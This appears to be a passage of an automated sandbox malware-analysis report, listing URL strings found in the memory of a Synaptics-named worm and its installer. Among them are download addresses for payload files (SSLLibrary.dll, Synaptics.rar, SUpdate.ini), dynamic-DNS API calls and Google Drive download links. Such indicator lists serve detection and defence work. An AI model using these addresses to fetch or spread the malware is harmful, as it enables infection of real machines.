AHmUCY3vseVn7E1DLE9NOajKg5lH241OAT8_3y-d4aocJvF51rf5atkl7bL-2rNE5dgi7TtC02ZtxYpUwwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close

Source: ~$cache1.20.dr	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
Source: Synaptics.exe, 00000014.00000003.1976493494.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935866964.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017995324.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.00000000007F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc6135629787
Source: Synaptics.exe, 00000014.00000003.1976493494.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935866964.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017995324.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.00000000007F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978e
Source: Dzsb.Qyd.Install.exe, 00000000.00000003.1252118782.0000000002320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978h
Source: Dzsb.Qyd.Install.exe, Synaptics.exe.0.dr, ._cache_Dzsb.Qyd.Install.exe.0.dr	String found in binary or memory: http://ldap2.sheca.com/CA13/RA12050100/CRL4903.crl0
Source: Dzsb.Qyd.Install.exe, Synaptics.exe.0.dr, ._cache_Dzsb.Qyd.Install.exe.0.dr	String found in binary or memory: http://ldap2.sheca.com/root/shecaG2-1.der0
Source: Dzsb.Qyd.Install.exe, Synaptics.exe.0.dr, ._cache_Dzsb.Qyd.Install.exe.0.dr	String found in binary or memory: http://ocsp3.sheca.com/ShecaG2-1/shecaG2-1.ocsp05
Source: Amcache.hve.13.dr	String found in binary or memory: http://upx.sf.net
Source: Dzsb.Qyd.Install.exe, Synaptics.exe.0.dr, ._cache_Dzsb.Qyd.Install.exe.0.dr	String found in binary or memory: http://www.sheca.com/policy/0
Source: Dzsb.Qyd.Install.exe, 00000000.00000003.1252118782.0000000002320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dl4
Source: ~$cache1.20.dr	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dll
Source: Synaptics.exe, 00000003.00000002.1442035103.00000000022C0000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140924392.0000000002490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dll6
Source: ~$cache1.20.dr	String found in binary or memory: http://xred.site50.net/syn/SUpdate.ini
Source: Synaptics.exe, 00000003.00000002.1442035103.00000000022C0000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140924392.0000000002490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SUpdate.iniZ
Source: ~$cache1.20.dr	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rar
Source: Dzsb.Qyd.Install.exe, 00000000.00000003.1252118782.0000000002320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rarX
Source: Synaptics.exe, 00000003.00000002.1442035103.00000000022C0000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140924392.0000000002490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rarZ
Source: Synaptics.exe, 00000014.00000003.2017353207.0000000007F64000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.goo
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006B0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.1316708703.0000000005406000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1445445710.0000000007224000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.000000000073E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2018131759.0000000007E78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/24
Source: Synaptics.exe, 00000003.00000002.1445445710.0000000007224000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/E
Source: Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/X5
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004C8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/blecli
Source: Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/danci
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004C8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/e.cn
Source: Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/ogleviD
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004C8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/s-cn.c
Source: Synaptics.exe, 00000003.00000002.1450628098.000000000B2FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2147396926.0000000008B3E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2155513902.0000000011C3E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2149007672.000000000B1FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2150643930.000000000D8BE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0;
Source: Dzsb.Qyd.Install.exe, 00000000.00000003.1252118782.0000000002320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=downlo
Source: ~$cache1.20.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
Source: Synaptics.exe, 00000003.00000002.1442035103.00000000022C0000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140924392.0000000002490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=downloadN
Source: Dzsb.Qyd.Install.exe, 00000000.00000003.1252118782.0000000002320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downlo
Source: Synaptics.exe, 00000014.00000003.1976029257.0000000007EA3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2157449106.0000000012DBE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2143398296.000000000562E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2144280139.00000000069EE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2150542957.000000000D63E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2149408796.000000000BABE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2153972141.00000000109CE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145200229.0000000007DFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2150298538.000000000CFFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2154328558.0000000010D8E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2154552401.000000001100E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2143770008.0000000005EEE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2150394353.000000000D27E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2151387295.000000000EA4E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2154448663.0000000010ECE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2149197132.000000000B5BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140924392.0000000002490000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2149900627.000000000C73E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2150198288.000000000CD7E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2152674150.000000000F70E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2153346708.000000001010E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#:4
Source: Synaptics.exe, 00000003.00000002.1441338159.0000000000717000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1446731024.00000000072BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935661100.0000000004C72000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$81
Source: Synaptics.exe, 00000003.00000002.1443067594.00000000053D9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1445445710.0000000007160000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%K$
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CEE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976493494.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017995324.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.00000000007F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&0j
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1445445710.000000000720D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.00000000053D9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2018131759.0000000007EA3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976029257.0000000007EA3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CE3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(.X
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(opX
Source: Synaptics.exe, 00000003.00000002.1446731024.00000000072BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976684823.0000000004CF7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)
Source: Synaptics.exe, 00000014.00000002.2140164000.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)T
Source: Synaptics.exe, 00000014.00000002.2145229675.0000000007E3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)f#
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1445445710.000000000720D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.00000000053D9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1445445710.0000000007160000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976493494.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017995324.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.00000000007F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-;&
Source: Synaptics.exe, 00000003.00000002.1443067594.0000000005481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-c
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CF7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-cn.4
Source: Synaptics.exe, 00000014.00000002.2145229675.0000000007E3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-e/
Source: Synaptics.exe, 00000003.00000002.1445445710.0000000007160000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.
Source: Synaptics.exe, 00000003.00000002.1443067594.0000000005481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.a
Source: Synaptics.exe, 00000014.00000003.2017353207.0000000007F64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.bdn.dev
Source: Synaptics.exe, 00000003.00000002.1443067594.0000000005481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.c0
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.ca
Source: Synaptics.exe, 00000003.00000002.1443067594.0000000005481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.cl
Source: Synaptics.exe, 00000003.00000002.1443067594.0000000005481000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2146834309.0000000007FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.com
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.doub
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.gcp.
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.goog
Source: Synaptics.exe, 00000014.00000003.2017353207.0000000007F64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.googletagmanager-cn.com
Source: Synaptics.exe, 00000003.00000002.1443067594.0000000005481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.gx
Source: Synaptics.exe, 00000003.00000002.1443067594.0000000005481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.nD
Source: Synaptics.exe, 00000003.00000003.1316708703.0000000005406000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.net
Source: Synaptics.exe, 00000003.00000002.1443067594.0000000005481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.o
Source: Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.p
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CF7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.pt
Source: Synaptics.exe, 00000003.00000002.1445445710.000000000720D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1446731024.00000000072BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935661100.0000000004C7F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1977210353.0000000004C82000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976684823.0000000004D36000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004C7C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CE3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download//
Source: Synaptics.exe, 00000003.00000003.1316708703.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.0000000005442000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/PX
Source: Synaptics.exe, 00000014.00000002.2151463286.000000000EBC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/d
Source: Synaptics.exe, 00000003.00000002.1441338159.0000000000717000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/u
Source: Synaptics.exe, 00000003.00000002.1445445710.000000000720D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1441338159.0000000000665000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.0000000005481000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2018131759.0000000007EA3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976493494.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2146834309.0000000007FF8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976684823.0000000004D36000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017995324.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.00000000007F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0
Source: Synaptics.exe, 00000014.00000002.2152064699.000000000EC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0Q
Source: Synaptics.exe, 00000003.00000003.1316708703.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.0000000005442000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0QU
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1446731024.00000000072BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.00000000053D9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1
Source: Synaptics.exe, 00000014.00000002.2140164000.000000000073E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1/
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1W
Source: Synaptics.exe, 00000014.00000002.2145229675.0000000007E3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1d
Source: Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2
Source: Synaptics.exe, 00000014.00000002.2140164000.000000000073E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2-cn.com
Source: Synaptics.exe, 00000014.00000002.2140164000.000000000073E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2.
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download26
Source: Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download38$
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3V
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3_p3Y
